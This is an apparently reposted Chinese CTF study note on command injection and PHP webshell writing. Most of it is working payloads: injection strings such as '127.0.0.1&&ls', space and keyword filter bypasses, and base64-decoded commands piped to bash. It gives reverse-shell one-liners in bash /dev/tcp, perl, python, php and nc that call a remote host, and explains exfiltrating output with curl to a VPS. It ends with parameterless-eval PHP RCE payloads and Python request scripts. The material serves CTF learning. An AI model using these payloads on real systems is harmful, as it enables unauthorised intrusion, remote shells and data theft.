cmdecho写⼊shell_学习笔记-命令执⾏及花式bypass写shell 命令执⾏的坑其实早就想填了。最早是因为校赛时,easyphp⼀题⾃⼰因为不熟悉命令执⾏的⼀些特性导致套娃题绕到最后⼀层却没拿到flag。当时⼗分不爽,下定决⼼要好好了解下命令执⾏的相关知识点。
关于命令执⾏我⼤体上归为php绕过+rce两类。php的难点主要是在绕过写shell上,⽽linux的知识主要在RCE达成上。
先从简单说起:
linux 命令& RCE
rce,即remote command/code execute。通常都是渗透中希望能够利⽤的漏洞之⼀。因为我们可以以此进⾏命令执⾏,读取我们想要的⽂件或者反弹shell。
命令及关键字waf
简单的命令执⾏如DVWA靶场⾥的command injection 模块。它给了我们⼀个输⼊框,⽽它会将输⼊框的内容当做命令执⾏。
这样⼀来我们就可以⽤命令拼接来执⾏其他命令。
1.使⽤&& & ;直接多语句执⾏
127.0.0.1&&ls
127.0.0.1&ls
127.0.0.1; ls
2.⾼级⼀(亿)点的,使⽤管道符
127.0.0.1| ls
管道符的妙⽤不⽌这么⼀点了。⽐如CTF或实战渗透中都可能⽤到的
echo 'Y2F0Cg==' | base64 -d
只要⽤管道符可以bypass掉绝⼤部分关键字的waf。
实际利⽤之读flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|bash
bash如果没有可以⽤sh
echo Y2F0IGZsYWcucGhw|base64 -d|sh
同时应对关键字waf,linux的特性还允许我们花式绕过
对空格
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都⾏
<
<>
{cat,flag.php} //⽤逗号实现了空格功能
%20
%09
对关键字,如flag,cat,包括上⾯管道符在内也有很多⽅法。
cat fl* linux中*通配符匹配任意字数
echo xxxxxxx| base64 -d
ca\t fla\g
cat fl''ag
a=f;b=lag;cat $a$b
对命令函数cat的waf,寻替代也是⼀种⽅法,毕竟读取⽂件函数很多。
head 读头⼏⾏
tail 读尾⼏⾏
tac 按⾏倒着读
more
less
nl
sort
......
如果要奇淫技巧,可以使⽤如cat `ls`
反引号在linux中作为内联执⾏。将直接输出结果。所以假如我们就在flag的⽬录下,这是完全可以直接耍的。
以上都是直接在webshell执⾏读取⽂件的基础上的。实际上有时候我们在实际渗透中需要的是反弹shell。包括有的题⽬也是需要shell来
flag的。
这个⽹站总结了常见的反弹shell的⽅式。实际上总结下常见的⼏种反弹shell
1.bash
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
bash式的⽤到的⾮常多。然⽽还是会出现有的容器因为是docker起的⽽没有bash指令的问题,这种时候通常⽤sh替代。但是sh并不能反
弹shell。所以这就涉及到其他的⼏种⽅法。
2.perl
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3.python
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
选择python是个不错的替代⽅式,因为⼤部分linux机⼦上都装好了python。(⽐如题⽬环境是flask起的时候,肯定是有python了)
4.php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");'
php同理。
5cat
nc -e /bin/sh 10.0.0.1 1234
原来看到⽂章说,所有linux机⼦都预装好了nc。我觉得是很棒的。不过⾃⼰尝试过nc反弹的shell交互性稍微差了⼀点点。
如果遇到waf,可以⽤上⾯普通命令⼀样的bypass⽅法解决。
或者我们可以如此,使⽤curl wget等等直接访问我们vps上的提前写好的反弹shell⽂件。
之于更深⼀步的命令执⾏暂且不谈。在渗透中⾃然会⽤到的。
bypass长度限制
HITCON2017的baby-first-revenge的例⼦可以说是⽼例⼦了。它的bypass长度可以达到5个
具体trick是以下这些:
ls -t 可以按时间顺序列出所有⽂件
linux可以⽤\进⾏命令的换⾏
换⾏不影响命令执⾏
sh _只要四个字符就可以执⾏命令
然⽽因为这个解决⽅案太过⾼级,导致⼤家都会了后就不会再有⼈出这⽅⾯的题⽬考察了......
盲打 RCE & timebased RCE
time-based RCE是⼀个常常作为拔⾼⽔平的命令执⾏考点。具体常见于⼀下代码
shell代码$cmd = $_GET[`cmd`];
`$cmd`;
当我们的命令执⾏没有回显怎么办?常见办法之⼀当然是利⽤curl,或者wget把结果打到vps上。有点xxe盲打的味道。只不过并不需要提前放好⽂件,只要vps监听即可。
当然get请求的弊端之⼀是我们只能打出结果的⼀⾏结果,这当然是不⾏的
但是我们可以轻松利⽤sed命令解决问题。
将分别打出每⼀⾏的信息。
进⼀步还可以打出任意⾏任意字段内容
在此基础上也诞⽣了time-based RCE。原理就如上⾯⼀样。因为已经没有回显了,我们在浏览器页⾯就可以直接构造rce
if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
类似sql时间盲注的原理。其中[ ]是linux的条件表达式符号。使⽤base32是因为我们的返回值可能有特殊字符。
这样就完全可以依靠盲打脚本来进⾏命令执⾏。
关于linux命令还有些tricks 没有提到,⼀⽅⾯是因为⾃⼰了解的毕竟是有限的。另⼀⽅⾯是因为下⾯的内容中将继续使⽤到。关于php结合linux命令的⼀些tricks。
php RCE bypass & 花式写shell
php中的RCE⽅式可不少。通常最⼤的难点是写⼀个webshell出来。⽽写出webshell后执⾏命令也会遇到禁⽤系统函数的情况。这种时候就有许许多多的⾼级技巧。不仅仅是php的特性问题了,还有许多⾼级构造。
⽆参RCE
之所以把⽆参RCE放到这⼀块。就是因为⽆参RCE的利⽤主要依靠php函数达成。所以⼩结下常见trick。
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
a(b(c()));
a();
个⼈第⼀习惯⾸先是使⽤
print_r(scandir('.'))
探测⽬录。但此处显然. ''都使⽤不了。那么怎么构造呢?我们可以轻松使⽤函数达成
print_r(scandir(current(localeconv())));
localeconv返回⼀个数组。其数组头⼀个值为decimal_point,也就是⼀个点。 currenr()起到取出数组第
⼀个变量的作⽤,所以可以以此替代scandir要⽤的点。
还有⼀种常规点的做法,只需getcwd()即可返回⽬录。⽽dirname()可以往⽬录上跳。当然,如果想读取的⽂件在上级⽬录,就得再加上⼀个chdir()
⽐如code-breakng的payload
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
其中⽤到的array_reverse()也是为了应对flag的数组索引不是特殊索引的情况。调整后使⽤current, next,end可以解决⼤部分问题。
当然这类⽆参RCE还有其他⽤法,⽐如:
这⼀函数将返回⼀个环境变量的值,⽽我们需要的是从这个数组中选取需要的值进⾏利⽤。
常常是:
array_rand(array_flip(getenv()));
可以随机获取数组中某⼀个键值。爆破之后能拿到数组中指定值
从http头中获取值。因此⼗分便捷。⽐如当http头最后⼀个值使我们构造好的byc: phpinfo()
var_dump(end(getallheaders()));
如此即可执⾏phpinfo()
但是注意,这是个apache函数,如果遇到nginx将不再适⽤。
<_defined_vars()
正是为了应对getallheaders的缺陷,我们可以选择get_defined_vars()。因为它返回的将是全局变量,全局变量包括$_GET $_POST都是可以直接使⽤的。这样我们就多了⼀个可以执⾏命令的函数。⽐如取出了_GET的话。
cmd=eval(end(current(get_defined_vars())));&byc=system('ls');
甚⾄我们也能利⽤$_FILES,通过伪造⽂件上传达成调⽤
import requests
from io import BytesIO
payload = "system('cat /flag');".encode('hex')
files = {
payload: BytesIO('2333!')
}
r = requests.post('localhost/shell.php?cmd=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files,
allow_redirects=False)
print (r.text)
使⽤hex2bin是为了防⽌关键字的过滤或转换。
4.session_id()函数
与上⾯的全局变量同样的道理。只不过我们可以利⽤php的特性。只要是PHPSESSID后的值,就可以直接赋给session_id。既然如此我们只需解决session_id值为字母加数字的问题了。同样使⽤hex2bin即可
前提条件是要先session_start()
import requests
url = 'localhost/shell.php?cmd=eval(hex2bin(session_id(session_start())));'
payload = "echo '23333';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = (url=url,cookies=cookies)
print (r.text)
花式写shell
花式写shell算是php⼀个⼗分考验技巧的点了。当然之前上⾯linux部分所写的bypass长度也算花式写shell。但是那主要利⽤的是linux的特性。我们这⾥尝试使⽤php的特性,写⼏种最常见的webshell
1.常规拆分
cmd=`$_GET[1]`;&1
基本算是⽤烂了,也是我这种菜鸡最喜欢⽤的类型。相当与写⼀个⼀句话⽊马。
2.include
cmd=include$_GET[1];
很妙,但是可能会受限于远程⽂件包含。这个选项默认是不开启的。
3.include升级版
为了解决这⼀问题,我们可以尝试本地⽂件包含。为此只要file_put_contents()写⼊⼀个⽂件即可
$_GET[a](N,a,8);&a=file_put_contents
其中file_put_contents的第⼀个参数是⽂件名。PHP会认为N是⼀个常量,但之前并没有定义这个常量,于是PHP就会把它转换成字符
串'N';第⼆个参数是要写⼊的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在⽂件末尾,⽽不是覆盖。
由于写⼊符号时函数会报错,可以选择写⼊payload的base64,分次写⼊,最后伪协议包含:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。